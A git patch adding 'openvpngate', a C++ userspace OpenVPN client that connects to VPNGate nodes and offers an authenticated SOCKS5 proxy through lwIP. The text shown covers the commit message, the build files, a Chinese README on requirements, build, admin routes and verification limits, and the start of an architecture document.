From b2ba45c9f89c5ad787c1dfde3cb5e34db20f8da2 Mon Sep 17 00:00:00 2001 From: iceBear67 Date: Tue, 28 Jul 2026 04:38:39 +0000 Subject: [PATCH] OpenVPN client with an authenticated SOCKS5 front door A userspace VPN gateway: builds an OpenVPN tunnel to a VPNGate node with the OpenVPN 3 core, terminates it in-process with lwIP, and serves SOCKS5 (RFC 1928/1929, CONNECT and UDP ASSOCIATE) over it. No root, no tun device, no routing table changes. Layout follows the module boundaries in docs/ARCHITECTURE.md: vpngate/ directory fetch + CSV parse (lines run to ~13.5 KB, so the parser streams rather than splitting on newlines) selector/ two-phase pick: cheap prior over the whole list, then real TCP handshake timing of the top K ovpn/ openvpn3 driven through TunBuilder, packets over a socketpair netstack/ lwIP: the TCP/IP stack that makes "no root" possible egress/ the swappable way out, and make-before-break switching socks5/ the front door health/ per-window scoring, and the decision to move app/ wiring, admin HTTP, signals docs/FEASIBILITY.md is the analysis this was built from, including the one requirement that is not physically possible -- carrying established TCP connections across a node switch -- and what is done instead (zero-progress redial, UDP re-homing, grace-period drain). Tests: 155 without the tunnel egress, 172 with it. The seam is the egress factory; selection, scoring, history and probing all run for real. Co-Authored-By: Claude Opus 5 --- .gitignore | 31 + CMakeLists.txt | 32 + README.md | 217 +++++ cmake/Dependencies.cmake | 103 +++ docs/ARCHITECTURE.md | 294 ++++++ docs/FEASIBILITY.md | 431 +++++++++ etc/openvpngate.conf | 220 +++++ src/CMakeLists.txt | 156 ++++ src/app/admin_server.cpp | 286 ++++++ src/app/admin_server.h | 81 ++ src/app/app.cpp | 581 ++++++++++++ src/app/app.h | 117 +++ src/app/json.h | 141 +++ src/app/main.cpp | 186 ++++ src/common/asio_compat.h | 57 ++ src/common/config.cpp | 530 +++++++++++ src/common/config.h | 196 ++++ src/common/endpoint.cpp | 147 +++ src/common/endpoint.h | 87 ++ src/common/error.cpp | 103 +++ src/common/error.h | 43 + src/common/http_get.cpp | 407 ++++++++ src/common/http_get.h | 47 + src/common/logging.cpp | 107 +++ src/common/logging.h | 63 ++ src/common/metrics.cpp | 46 + src/common/metrics.h | 68 ++ src/common/strand_deleter.h | 37 + src/egress/direct_egress.cpp | 676 ++++++++++++++ src/egress/direct_egress.h | 78 ++ src/egress/egress.cpp | 21 + src/egress/egress.h | 153 +++ src/egress/egress_manager.cpp | 806 ++++++++++++++++ src/egress/egress_manager.h | 258 ++++++ src/egress/tunnel_egress.cpp | 505 ++++++++++ src/egress/tunnel_egress.h | 141 +++ src/health/health_monitor.cpp | 395 ++++++++ src/health/health_monitor.h | 163 ++++ src/health/switch_controller.cpp | 215 +++++ src/health/switch_controller.h | 116 +++ src/netstack/dns_resolver.cpp | 609 ++++++++++++ src/netstack/dns_resolver.h | 167 ++++ src/netstack/lwip_port/arch/cc.h | 48 + src/netstack/lwip_port/lwip_shim.cpp | 67 ++ src/netstack/lwip_port/lwip_shim.h | 34 + src/netstack/lwip_port/lwipopts.h | 183 ++++ src/netstack/lwip_stack.cpp | 649 +++++++++++++ src/netstack/lwip_stack.h | 311 +++++++ src/netstack/lwip_tcp.cpp | 569 ++++++++++++ src/netstack/lwip_tcp.h | 158 ++++ src/netstack/lwip_udp.cpp | 304 ++++++ src/netstack/lwip_udp.h | 118 +++ src/netstack/packet_link.h | 49 + src/netstack/stream.h | 128 +++ src/ovpn/packet_pipe.cpp | 154 +++ src/ovpn/packet_pipe.h | 114 +++ src/ovpn/profile_sanitizer.cpp | 321 +++++++ src/ovpn/profile_sanitizer.h | 69 ++ src/ovpn/tunnel_client.cpp | 755 +++++++++++++++ src/ovpn/tunnel_client.h | 159 ++++ src/selector/history.cpp | 170 ++++ src/selector/history.h | 70 ++ src/selector/prober.cpp | 157 ++++ src/selector/prober.h | 56 ++ src/selector/scorer.cpp | 128 +++ src/selector/scorer.h | 61 ++ src/selector/selector.cpp | 279 ++++++ src/selector/selector.h | 98 ++ src/socks5/auth.cpp | 72 ++ src/socks5/auth.h | 53 ++ src/socks5/protocol.cpp | 252 +++++ src/socks5/protocol.h | 152 +++ src/socks5/server.cpp | 235 +++++ src/socks5/server.h | 108 +++ src/socks5/session.cpp | 841 +++++++++++++++++ src/socks5/session.h | 232 +++++ src/socks5/udp_relay.cpp | 436 +++++++++ src/socks5/udp_relay.h | 161 ++++ src/vpngate/csv_parser.cpp | 358 +++++++ src/vpngate/csv_parser.h | 58 ++ src/vpngate/node.h | 62 ++ src/vpngate/node_store.cpp | 234 +++++ src/vpngate/node_store.h | 76 ++ tests/CMakeLists.txt | 29 + tests/data/vpngate_sample.csv | 99 ++ tests/harness.cpp | 90 ++ tests/harness.h | 120 +++ tests/test_common.cpp | 271 ++++++ tests/test_csv_parser.cpp | 248 +++++ tests/test_egress.cpp | 1055 +++++++++++++++++++++ tests/test_health.cpp | 433 +++++++++ tests/test_http_get.cpp | 260 ++++++ tests/test_netstack.cpp | 1131 +++++++++++++++++++++++ tests/test_ovpn.cpp | 529 +++++++++++ tests/test_selector.cpp | 512 ++++++++++ tests/test_socks5.cpp | 1285 ++++++++++++++++++++++++++ tools/tunnel_smoke.cpp | 401 ++++++++ var/.gitkeep | 0 98 files changed, 24119 insertions(+) create mode 100644 .gitignore create mode 100644 CMakeLists.txt create mode 100644 README.md create mode 100644 cmake/Dependencies.cmake create mode 100644 docs/ARCHITECTURE.md create mode 100644 docs/FEASIBILITY.md create mode 100644 etc/openvpngate.conf create mode 100644 src/CMakeLists.txt create mode 100644 src/app/admin_server.cpp create mode 100644 src/app/admin_server.h create mode 100644 src/app/app.cpp create mode 100644 src/app/app.h create mode 100644 src/app/json.h create mode 100644 src/app/main.cpp create mode 100644 src/common/asio_compat.h create mode 100644 src/common/config.cpp create mode 100644 src/common/config.h create mode 100644 src/common/endpoint.cpp create mode 100644 src/common/endpoint.h create mode 100644 src/common/error.cpp create mode 100644 src/common/error.h create mode 100644 src/common/http_get.cpp create mode 100644 src/common/http_get.h create mode 100644 src/common/logging.cpp create mode 100644 src/common/logging.h create mode 100644 src/common/metrics.cpp create mode 100644 src/common/metrics.h create mode 100644 src/common/strand_deleter.h create mode 100644 src/egress/direct_egress.cpp create mode 100644 src/egress/direct_egress.h create mode 100644 src/egress/egress.cpp create mode 100644 src/egress/egress.h create mode 100644 src/egress/egress_manager.cpp create mode 100644 src/egress/egress_manager.h create mode 100644 src/egress/tunnel_egress.cpp create mode 100644 src/egress/tunnel_egress.h create mode 100644 src/health/health_monitor.cpp create mode 100644 src/health/health_monitor.h create mode 100644 src/health/switch_controller.cpp create mode 100644 src/health/switch_controller.h create mode 100644 src/netstack/dns_resolver.cpp create mode 100644 src/netstack/dns_resolver.h create mode 100644 src/netstack/lwip_port/arch/cc.h create mode 100644 src/netstack/lwip_port/lwip_shim.cpp create mode 100644 src/netstack/lwip_port/lwip_shim.h create mode 100644 src/netstack/lwip_port/lwipopts.h create mode 100644 src/netstack/lwip_stack.cpp create mode 100644 src/netstack/lwip_stack.h create mode 100644 src/netstack/lwip_tcp.cpp create mode 100644 src/netstack/lwip_tcp.h create mode 100644 src/netstack/lwip_udp.cpp create mode 100644 src/netstack/lwip_udp.h create mode 100644 src/netstack/packet_link.h create mode 100644 src/netstack/stream.h create mode 100644 src/ovpn/packet_pipe.cpp create mode 100644 src/ovpn/packet_pipe.h create mode 100644 src/ovpn/profile_sanitizer.cpp create mode 100644 src/ovpn/profile_sanitizer.h create mode 100644 src/ovpn/tunnel_client.cpp create mode 100644 src/ovpn/tunnel_client.h create mode 100644 src/selector/history.cpp create mode 100644 src/selector/history.h create mode 100644 src/selector/prober.cpp create mode 100644 src/selector/prober.h create mode 100644 src/selector/scorer.cpp create mode 100644 src/selector/scorer.h create mode 100644 src/selector/selector.cpp create mode 100644 src/selector/selector.h create mode 100644 src/socks5/auth.cpp create mode 100644 src/socks5/auth.h create mode 100644 src/socks5/protocol.cpp create mode 100644 src/socks5/protocol.h create mode 100644 src/socks5/server.cpp create mode 100644 src/socks5/server.h create mode 100644 src/socks5/session.cpp create mode 100644 src/socks5/session.h create mode 100644 src/socks5/udp_relay.cpp create mode 100644 src/socks5/udp_relay.h create mode 100644 src/vpngate/csv_parser.cpp create mode 100644 src/vpngate/csv_parser.h create mode 100644 src/vpngate/node.h create mode 100644 src/vpngate/node_store.cpp create mode 100644 src/vpngate/node_store.h create mode 100644 tests/CMakeLists.txt create mode 100644 tests/data/vpngate_sample.csv create mode 100644 tests/harness.cpp create mode 100644 tests/harness.h create mode 100644 tests/test_common.cpp create mode 100644 tests/test_csv_parser.cpp create mode 100644 tests/test_egress.cpp create mode 100644 tests/test_health.cpp create mode 100644 tests/test_http_get.cpp create mode 100644 tests/test_netstack.cpp create mode 100644 tests/test_ovpn.cpp create mode 100644 tests/test_selector.cpp create mode 100644 tests/test_socks5.cpp create mode 100644 tools/tunnel_smoke.cpp create mode 100644 var/.gitkeep diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..47ee5c3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,31 @@ +# Build trees. Two of them by convention: `build` and `build-tunnel`, the same +# source configured with OVG_WITH_TUNNEL off and on. +/build*/ +CMakeUserPresets.json + +# Runtime state. The node cache and the per-node outcome history are written by +# the running service; committing them would ship one machine's opinion of which +# volunteer servers are good, and the cache would be stale within the hour. +/var/* +!/var/.gitkeep + +# Local operator config. etc/openvpngate.conf is the documented sample and is +# tracked; anything else in there is a real deployment's, credentials included. +/etc/* +!/etc/openvpngate.conf +*.auth + +# Editor and OS noise +*.swp +*~ +.vscode/ +.idea/ +.DS_Store + +# Tooling +compile_commands.json +.cache/ +perf.data* +callgrind.out.* +*.gcda +*.gcno diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..d937970 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,32 @@ +cmake_minimum_required(VERSION 3.20) +project(openvpngate VERSION 0.1.0 LANGUAGES C CXX) + +set(CMAKE_CXX_STANDARD 20) +set(CMAKE_CXX_STANDARD_REQUIRED ON) +set(CMAKE_CXX_EXTENSIONS OFF) +set(CMAKE_C_STANDARD 11) +set(CMAKE_POSITION_INDEPENDENT_CODE ON) + +if(NOT CMAKE_BUILD_TYPE AND NOT CMAKE_CONFIGURATION_TYPES) + set(CMAKE_BUILD_TYPE Release CACHE STRING "" FORCE) +endif() + +option(OVG_BUILD_TESTS "Build unit tests" ON) +option(OVG_WITH_TUNNEL "Build the OpenVPN3 + lwIP tunnel egress" ON) + +list(APPEND CMAKE_MODULE_PATH ${CMAKE_CURRENT_SOURCE_DIR}/cmake) +include(Dependencies) + +add_subdirectory(src) + +if(OVG_BUILD_TESTS) + enable_testing() + add_subdirectory(tests) +endif() + +message(STATUS "") +message(STATUS "openvpngate ${PROJECT_VERSION}") +message(STATUS " build type : ${CMAKE_BUILD_TYPE}") +message(STATUS " tunnel egress: ${OVG_WITH_TUNNEL}") +message(STATUS " tests : ${OVG_BUILD_TESTS}") +message(STATUS "") diff --git a/README.md b/README.md new file mode 100644 index 0000000..40e30b4 --- /dev/null +++ b/README.md @@ -0,0 +1,217 @@ +# openvpngate + +一个 OpenVPN 客户端 + SOCKS5 代理网关:进程内建立到 VPNGate 节点的 OpenVPN 隧道, +对外提供一个带用户名/密码认证的 SOCKS5 服务,并在节点质量下降时自动换节点。 + +**全程不需要 root。** 没有 tun 设备、没有路由表改动、没有 capability——隧道在用户态 +终结(lwIP),进程只是一个普通的监听程序。 + +``` +SOCKS5 客户端 ──► socks5::Server ──► egress::Egress ──► lwIP ──► openvpn3 ──► VPNGate 节点 + (认证/CONNECT/UDP) (可热替换) (用户态 TCP/IP) +``` + +先读哪一份: + +| 文档 | 内容 | +|---|---| +| [docs/FEASIBILITY.md](docs/FEASIBILITY.md) | 动手前的可行性结论。**需求中唯一不可能的部分在 §1**;UDP ASSOCIATE 的明确表态在 §5;1000 并发的真实天花板在 §4 | +| [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) | 模块边界、线程模型、切换状态机、选点与健康检查的具体算法 | +| [etc/openvpngate.conf](etc/openvpngate.conf) | 全部配置项,每一项都带默认值和「为什么是这个默认值」 | + +--- + +## 1. 需求对照 + +| 需求 | 状态 | 说明 | +|---|---|---| +| 基于 OpenVPN 3 Core | ✅ | 以 `USE_TUN_BUILDER` 编译,走 TunBuilder 路径拿裸 IP 包 | +| 连接 VPNGate 节点 | ✅ | 自动抓取 `http://www.vpngate.net/api/iphone/` 并解析 | +| 解析超长行 CSV | ✅ | 实测最长行 13529 字符(整个 .ovpn 以 base64 放在最后一列),解析器按流处理,不按行切分 | +| 多指标自动选点 | ✅ | 延迟(**本地实测握手**)+ API 指标 + 本地历史成功率,见 ARCHITECTURE §6 | +| 节点健康检查与自动重连 | ✅ | 两层:隧道内重连由 openvpn3 负责,换节点由 health + egress 负责 | +| SOCKS5 + 用户名密码认证 | ✅ | RFC 1928 / RFC 1929 | +| ~1000 并发、不每连接一线程 | ✅ | asio 异步 I/O,固定线程池(默认 ≤4),连接数只占内存不占线程 | +| TCP CONNECT / DNS / 超时 / 半关闭 / 异常断开 | ✅ | DNS 在隧道内解析,不泄漏 | +| **SOCKS5 UDP ASSOCIATE** | ✅ **支持**,但**不支持分片**(FRAG≠0 直接丢弃并计数) | 见 FEASIBILITY §5.1 | +| 换节点后新连接走新隧道 | ✅ | make-before-break:新隧道完全就绪后才切换 | +| **换节点后保持已建立的 TCP 连接** | ❌ **不可能** | 见下 | +| 做不到就断开旧连接 | ✅ | 旧 egress 进入 drain,宽限期内继续服务,到期全部关闭 | + +### 唯一不可能的部分 + +**已建立的 TCP 连接无法跨 VPN 节点迁移。** 换节点意味着换公网出口 IP,而对端 socket 的 +四元组里写死了旧 IP;序列号、窗口、拥塞状态全在对端内核里,我们既读不到也搬不走。任何 +声称做到的方案,要么是在对端也装了东西(MPTCP、QUIC 连接迁移),要么是没换出口 IP。 +完整论证见 FEASIBILITY §1。 + +工程上能做到的三件事(都已实现): + +1. **新连接**立刻走新隧道——这是 make-before-break 的意义; +2. **零进度连接透明重试**:还没搬运过任何字节的 TCP 连接不含对端状态,直接在新隧道上重 + 拨,客户端完全无感(`switch.retry_zero_progress`); +3. **UDP association 原地换巢**:UDP 无连接状态,只换出口 socket,客户端看到的中继端口 + 不变(`switch.rehome_udp`)——这是设计时的意外收获,FEASIBILITY §5.3; + +其余(已搬过字节的 TCP)在宽限期 `switch.drain_grace` 内继续用旧隧道服务,到期关闭。 + +--- + +## 2. 构建 + +系统依赖(Debian/Ubuntu): + +```sh +sudo apt install -y build-essential cmake pkg-config \ + libasio-dev libssl-dev liblz4-dev libfmt-dev git +``` + +openvpn3 和 lwIP 是源码依赖,默认由 CMake `FetchContent` 拉取;已有 checkout 可以直接指过去 +(`-DOVG_OPENVPN3_DIR=... -DOVG_LWIP_DIR=...`),避免每次配置都联网。 + +> 本工作副本的两个 build 目录正是这么配的,指向 `/tmp/ovpn3` 和 `/tmp/lwip`。`/tmp` 会在 +> 重启后消失,届时重新 configure(不带这两个参数即可让 FetchContent 重新拉取)。 + +```sh +cmake -S . -B build -DCMAKE_BUILD_TYPE=Release +cmake --build build -j +``` + +两个开关: + +| 选项 | 默认 | 含义 | +|---|---|---| +| `OVG_WITH_TUNNEL` | `ON` | 编译 OpenVPN3 + lwIP 隧道出口。**关掉**则只有 `direct` 出口,用于在没有网络依赖的机器上开发和跑测试;此时二进制会拒绝以 `egress.mode = tunnel` 启动,而不是悄悄明文代理 | +| `OVG_BUILD_TESTS` | `ON` | 单元测试 | + +产物:`build/src/openvpngate`(主程序)、`build/tests/ovg_tests`(测试)、 +`build/src/ovg_tunnel_smoke`(只建隧道、ping、退出的诊断工具,仅 `OVG_WITH_TUNNEL=ON`,见 §6)。 + +--- + +## 3. 运行 + +```sh +cp etc/openvpngate.conf ./openvpngate.conf # 改 [users] 里的口令 +./build/src/openvpngate -c openvpngate.conf --check # 只校验配置并打印,不启动 +./build/src/openvpngate -c openvpngate.conf +``` + +命令行参数只有六个,都用来覆盖配置文件里的同名项: + +``` +-c, --config PATH 配置文件 + --check 校验并打印最终配置后退出 + --listen ADDR:PORT 覆盖 socks5 监听地址 + --egress tunnel|direct + --log-level trace|debug|info|warn|error|off + --no-admin 关掉管理接口 +-V, --version -h, --help +``` + +信号:`SIGHUP` 重新加载认证文件和节点列表(不断开任何在途连接);`SIGINT`/`SIGTERM` +优雅退出(停止 accept → 排空 → 拆隧道);退出过程中再来一次 `SIGINT` 立即退出。 + +### 不带 VPN 先验证代理本身 + +`egress.mode = direct` 让所有流量走宿主机 socket,**不经过任何 VPN**。它存在的唯一理由 +是把「SOCKS5 实现对不对」和「隧道通不通」两件事分开调试: + +```sh +./build/src/openvpngate -c openvpngate.conf --egress direct --listen 127.0.0.1:1080 +curl -sS --socks5-hostname alice:changeme@127.0.0.1:1080 https://example.com -o /dev/null -w '%{http_code}\n' +``` + +`--socks5-hostname` 让 curl 把域名交给代理解析(DNS 不泄漏路径);`--socks5` 则是本地解析。 +两条路径都支持。 + +--- + +## 4. 管理接口 + +默认 `127.0.0.1:9080`,**没有认证**,所以务必留在环回口上。 + +| 路由 | 用途 | +|---|---| +| `GET /status` | 当前节点、切换阶段、切换次数/失败次数、排空中的 egress | +| `GET /nodes` | 最近一次选点排名,含每个节点的得分、实测 RTT 和「为什么是这个分」 | +| `GET /sessions` | 在线会话,含各自挂在哪个 egress 上 | +| `GET /health` | 最近若干次健康窗口的原始采样 | +| `GET /metrics` | Prometheus 文本格式 | +| `GET /healthz` | 存活探针,只有 200/503 | +| `POST /switch` | 手动换节点。被拒绝时返回**具体原因**(四种:本构建没有隧道 / 已在切换中 / 防抖动窗口未到 / 上次失败正在退避),不是一句 `false` | + +```sh +curl -s localhost:9080/status | jq +curl -s -XPOST localhost:9080/switch +``` + +--- + +## 5. 测试 + +```sh +./build/tests/ovg_tests # 全部 +./build/tests/ovg_tests socks5 # 子串过滤 +ctest --test-dir build +``` + +测试不碰公网:CSV 解析吃固定样本,选点探测打的是本文件自己起的环回监听,隧道出口在 +`EgressManager` 上留了一个 factory 接缝,由可精确复现失败的 fake 顶替。接缝只有这一处 +(「一个节点怎么变成一条隧道」),选点、评分、历史、探测器都是真的在跑。 + +当前:`OVG_WITH_TUNNEL=OFF` 155 passed / 2 skipped,`ON` 172 passed / 3 skipped。 + +重点覆盖的是最难在生产观察的那部分——切换状态机:make-before-break 不打扰既有会话、 +宽限期到期关闭掉队者、hard 模式一次性关闭、候选逐个尝试、地址冲突降级为 hard 切换、 +排空数量上限、防抖动与 force 的关系、机会性切换必须赢过在位节点、启动预算耗尽后如实报错、 +以及**冷启动等待节点列表不能算作失败**。 + +有一类 bug 是这套测试**结构性看不见**的:测试用 `io.run_for(2ms)` 切片驱动事件循环, +而服务是 `io.run()` 一次然后等它返回。lwIP 的周期定时器会永久自我续约,于是它是一份 +work guard 永远收不回的待办工作——测试全绿,服务却在打完一整套完美的优雅退出日志之后 +永远不退出(且只在 tunnel 模式,direct 模式根本不建栈)。修复是 `Stack::stop()`,回归 +测试 `stack_stop_lets_the_io_context_drain` 直接断言 `run()` 会返回。 + +--- + +## 6. 在这台沙箱里验证到了什么、没验证到什么 + +诚实的部分: + +**已用真实网络验证(记录见 FEASIBILITY 附录)** +- VPNGate API 实测抓取:1.29 MB / 96 个节点 / 最长行 13529 字符,解析通过; +- `tools/tunnel_smoke` 对真实 VPNGate 节点建立隧道成功:拿到 `10.239.88.225/30`, + 收到 6 个 ICMP echo reply,正常退出——即 openvpn3 + socketpair-as-tun 这条数据面通路 + 本身是成立的。 + +**已在 `direct` 模式下逐项运行验证** +SOCKS5 CONNECT(远端解析与本地解析、明文与 TLS)、认证拒绝、连接被拒的带内回复(0x05)、 +UDP ASSOCIATE 的真实 DNS 往返、分片丢弃、`/sessions` 实时反映会话、全部管理路由、未知路由 +404、`SIGHUP` 重载(94 个节点)、带活跃会话的 `SIGTERM` 优雅退出。 + +**已在 `tunnel` 模式下验证的部分** +真实节点选点、隧道建立尝试、断线重连、以及**优雅退出**(对真实 VPNGate 节点、在隧道处于 +重连状态时收到 `SIGTERM`,1 秒内完成拆隧道并退出)。数据面本身走不通,原因见下。 + +**没能验证的:完整二进制在 `tunnel` 模式下的端到端数据面。** +本沙箱存在**透明 TCP 拦截**:连 `192.0.2.1:1213`(TEST-NET-1,保证不可路由)、 +`175.129.117.170:1213`、`1.1.1.1:443` 全部在 ~0.9ms「连接成功」然后一个字节都不回; +UDP:53 通,UDP:1195 超时。这同时解释了两个现象——探测器报告「到日本 1ms」,以及 OpenVPN +握手在发出 client hello 后拿到 `NETWORK_EOF_ERROR`。这是环境限制,不是代码缺陷,但**没被 +验证过就是没被验证过**:在一个出网正常的机器上跑 `ovg_tunnel_smoke` 是接手这份代码后 +第一件该做的事。 + +--- + +## 7. 已知的边界 + +- **1000 并发的天花板不在本进程。** 本进程扛得住(异步 I/O、固定线程池、内存是唯一线性 + 成本),lwIP 的 `MEMP_NUM_TCP_PCB` 等已按此调过;真正的瓶颈是 VPNGate 上那些志愿者跑的 + 免费节点,它们通常同时服务几十上百人。详见 FEASIBILITY §4。 +- **UDP ASSOCIATE 不做分片重组**(FRAG≠0 丢弃并计数)。理由与取舍见 FEASIBILITY §5.1。 +- **不支持 SOCKS5 BIND**,也不打算支持(FEASIBILITY §5.4)。 +- **管理接口没有认证**,靠绑定环回口来保护。 +- VPNGate 绝大多数节点只提供 UDP remote,而只有 TCP 能用一次 `connect()` 量出真实 RTT, + 所以 top-K 里通常只有三四个能被实测到;其余沿用 API 报告的 ping 并加惩罚系数。日志里 + 会明说「top 10 中有 6 个没有可计时的 TCP remote」,免得看起来像过滤器坏了。 diff --git a/cmake/Dependencies.cmake b/cmake/Dependencies.cmake new file mode 100644 index 0000000..ee49fe1 --- /dev/null +++ b/cmake/Dependencies.cmake @@ -0,0 +1,103 @@ +# Third-party dependency resolution. +# +# System packages (asio, OpenSSL, lz4, fmt) are expected to be installed. +# openvpn3 and lwIP are source dependencies: point OVG_OPENVPN3_DIR / OVG_LWIP_DIR +# at an existing checkout, or let FetchContent pull them. + +include(FetchContent) +find_package(PkgConfig REQUIRED) +find_package(Threads REQUIRED) + +pkg_search_module(OPENSSL REQUIRED IMPORTED_TARGET openssl) +pkg_search_module(LZ4 REQUIRED IMPORTED_TARGET liblz4) + +find_package(fmt REQUIRED) + +find_path(ASIO_INCLUDE_DIR asio.hpp REQUIRED) +message(STATUS "asio headers: ${ASIO_INCLUDE_DIR}") + +set(OVG_OPENVPN3_DIR "" CACHE PATH "Existing openvpn3 checkout (skips download)") +set(OVG_LWIP_DIR "" CACHE PATH "Existing lwIP checkout (skips download)") + +if(OVG_WITH_TUNNEL) + # ---- openvpn3 core ------------------------------------------------------- + if(OVG_OPENVPN3_DIR) + set(OPENVPN3_SOURCE_DIR ${OVG_OPENVPN3_DIR}) + else() + FetchContent_Declare(openvpn3 + GIT_REPOSITORY https://github.com/OpenVPN/openvpn3.git + GIT_TAG master + GIT_SHALLOW TRUE) + FetchContent_Populate(openvpn3) # populate only: we compile it into our own target + set(OPENVPN3_SOURCE_DIR ${openvpn3_SOURCE_DIR}) + endif() + + if(NOT EXISTS ${OPENVPN3_SOURCE_DIR}/client/ovpncli.cpp) + message(FATAL_ERROR "openvpn3 not found at ${OPENVPN3_SOURCE_DIR}") + endif() + message(STATUS "openvpn3 source: ${OPENVPN3_SOURCE_DIR}") + + # The openvpn3 core is header-only apart from these two units. It cannot be + # built as a standalone library because callers must supply OPENVPN_LOG and + # friends at compile time, so we compile the sources into our own target. + add_library(ovg_openvpn3 STATIC + ${OPENVPN3_SOURCE_DIR}/client/ovpncli.cpp + ${OPENVPN3_SOURCE_DIR}/openvpn/crypto/data_epoch.cpp) + + target_include_directories(ovg_openvpn3 PUBLIC ${OPENVPN3_SOURCE_DIR} ${ASIO_INCLUDE_DIR}) + # -isystem for consumers. The core's headers are not clean under our warning + # set and never will be; suppressing per-warning here would mean chasing a + # new flag on every upstream bump, and blanket-disabling warnings on the file + # that includes them would blind us to problems in our own code in that same + # file. This draws the line exactly where it belongs. + set_target_properties(ovg_openvpn3 PROPERTIES + INTERFACE_SYSTEM_INCLUDE_DIRECTORIES "${OPENVPN3_SOURCE_DIR}") + target_compile_definitions(ovg_openvpn3 PUBLIC + ASIO_STANDALONE + USE_ASIO + HAVE_LZ4 + USE_OPENSSL + USE_TUN_BUILDER) # <-- the whole design hinges on this: see docs/FEASIBILITY.md §2.2 + target_link_libraries(ovg_openvpn3 PUBLIC + PkgConfig::OPENSSL PkgConfig::LZ4 fmt::fmt Threads::Threads) + target_compile_options(ovg_openvpn3 PRIVATE -Wno-deprecated-declarations) + + # ---- lwIP ---------------------------------------------------------------- + if(OVG_LWIP_DIR) + set(LWIP_SOURCE_DIR ${OVG_LWIP_DIR}) + else() + FetchContent_Declare(lwip + GIT_REPOSITORY https://github.com/lwip-tcpip/lwip.git + GIT_TAG STABLE-2_2_1_RELEASE + GIT_SHALLOW TRUE) + FetchContent_Populate(lwip) + set(LWIP_SOURCE_DIR ${lwip_SOURCE_DIR}) + endif() + + if(NOT EXISTS ${LWIP_SOURCE_DIR}/src/Filelists.cmake) + message(FATAL_ERROR "lwIP not found at ${LWIP_SOURCE_DIR}") + endif() + message(STATUS "lwIP source: ${LWIP_SOURCE_DIR}") + + set(LWIP_DIR ${LWIP_SOURCE_DIR}) + # Our lwipopts.h and the arch/ shim live in src/netstack/lwip_port. + set(LWIP_INCLUDE_DIRS + ${LWIP_SOURCE_DIR}/src/include + ${CMAKE_CURRENT_SOURCE_DIR}/src/netstack/lwip_port) + include(${LWIP_SOURCE_DIR}/src/Filelists.cmake) + + # Core + IPv4 only. Deliberately NOT lwipapi_SRCS: api_lib/api_msg/netbuf/ + # sockets are the sequential and BSD-socket APIs, which require NO_SYS=0 and + # a real threading layer. We drive the raw callback API from a strand instead + # (see src/netstack/lwip_stack.h), so those files cannot compile and would not + # be used if they did. + add_library(ovg_lwip STATIC ${lwipcore_SRCS} ${lwipcore4_SRCS}) + target_include_directories(ovg_lwip PUBLIC ${LWIP_INCLUDE_DIRS}) + # -isystem for consumers: lwIP's headers are not clean under our warning set. + set_target_properties(ovg_lwip PROPERTIES + INTERFACE_SYSTEM_INCLUDE_DIRECTORIES "${LWIP_SOURCE_DIR}/src/include") + # No LWIP_DEBUG define here, on purpose. lwIP tests it with #ifdef, not #if, + # so defining it to 0 *enables* the debug machinery -- the opposite of what it + # reads like. lwip_port/lwipopts.h says the same thing where it #undefs it. + target_compile_options(ovg_lwip PRIVATE -Wno-unused-parameter -Wno-address) +endif() diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md new file mode 100644 index 0000000..d0c905c --- /dev/null +++ b/docs/ARCHITECTURE.md @@ -0,0 +1,294 @@ +# 架构设计 + +前置阅读:[`FEASIBILITY.md`](FEASIBILITY.md)。本文假定读者已接受其中的结论,特别是 +「已建立的 TCP 连接无法跨节点迁移」和「必须自带用户态 TCP/IP 栈」。 + +--- + +## 1. 全局数据流 + +``` + ┌──────────────────────────────────────────────┐ + │ Control Plane │ + │ VpnGateClient → NodeStore → Selector │ + │ HealthMonitor → SwitchController │ + └───────────────┬──────────────────────────────┘ + │ switch_to(node) + ▼ + SOCKS5 client ┌──────────────────────┐ + ──────────────► ┌─────┤ EgressManager ├──── owns ────┐ + (TCP :1080) │ │ active / draining[] │ │ + │ └──────────────────────┘ │ + ┌──────▼───────┐ │ + │ socks5::Server│ acquire() ┌────────────────────▼──────────────┐ + │ ├ Auth │────────────► │ Egress (tunnel #N) │ + │ ├ Session │ │ ┌──────────────────────────────┐ │ + │ └ UdpRelay │◄──TcpStream──┤ │ netstack::Stack (lwIP,NO_SYS)│ │ + └──────┬───────┘ │ │ tcp_new/tcp_connect/... │ │ + │ │ └──────────────┬───────────────┘ │ + │ relay │ raw IP pkts │ (socketpair) │ + ▼ │ ┌──────────────▼───────────────┐ │ + app payload │ │ ovpn::TunnelClient │ │ + │ │ (ClientAPI::OpenVPNClient) │ │ + │ └──────────────┬───────────────┘ │ + └─────────────────┼──────────────────┘ + ▼ + VPNGate node (TCP/443) +``` + +关键约束:**每条 SOCKS5 会话在创建时绑定一个 `shared_ptr`,终生不变。** +这一条决定了整个切换机制的正确性——见 §5。 + +--- + +## 2. 模块边界 + +每个模块一个目录,模块间只通过头文件里的接口交互,禁止跨模块引用实现细节。 + +| 模块 | 职责 | 不负责 | +|---|---|---| +| `common/` | 日志、配置、错误码、Endpoint、缓冲区、指标 | 任何业务逻辑 | +| `vpngate/` | 抓 API、解析 CSV、节点模型、磁盘缓存 | 决定用哪个节点 | +| `selector/` | 打分、探测、黑名单、选出候选节点 | 建立连接 | +| `ovpn/` | 包装 openvpn3、profile 净化、socketpair 管理 | TCP/IP 语义 | +| `netstack/` | lwIP 生命周期、netif、TcpStream/UdpSocket、DNS | 知道 VPN 的存在 | +| `egress/` | 出口抽象、隧道组装、切换与排空 | SOCKS5 协议 | +| `socks5/` | RFC 1928/1929、会话、中继、UDP relay | 出口怎么来的 | +| `health/` | 健康评分、切换决策 | 执行切换(交给 EgressManager) | +| `app/` | 装配、CLI、配置加载、admin 接口、信号 | 上述任何逻辑 | + +依赖方向严格单向:`app → {health, socks5, egress, selector} → {netstack, ovpn, vpngate} → common`。 +`netstack` 不知道 `ovpn` 的存在(它只拿到一个 fd),`socks5` 不知道 `ovpn`/`netstack` 的存在 +(它只拿到 `Egress` 接口)。这是保证长期可维护的核心。 + +--- + +## 3. 线程模型 + +明确的线程边界,避免「哪个线程能调什么」变成口口相传的知识。 + +| 线程 | 数量 | 跑什么 | 规则 | +|---|---|---|---| +| **frontend io** | `min(hw_concurrency, 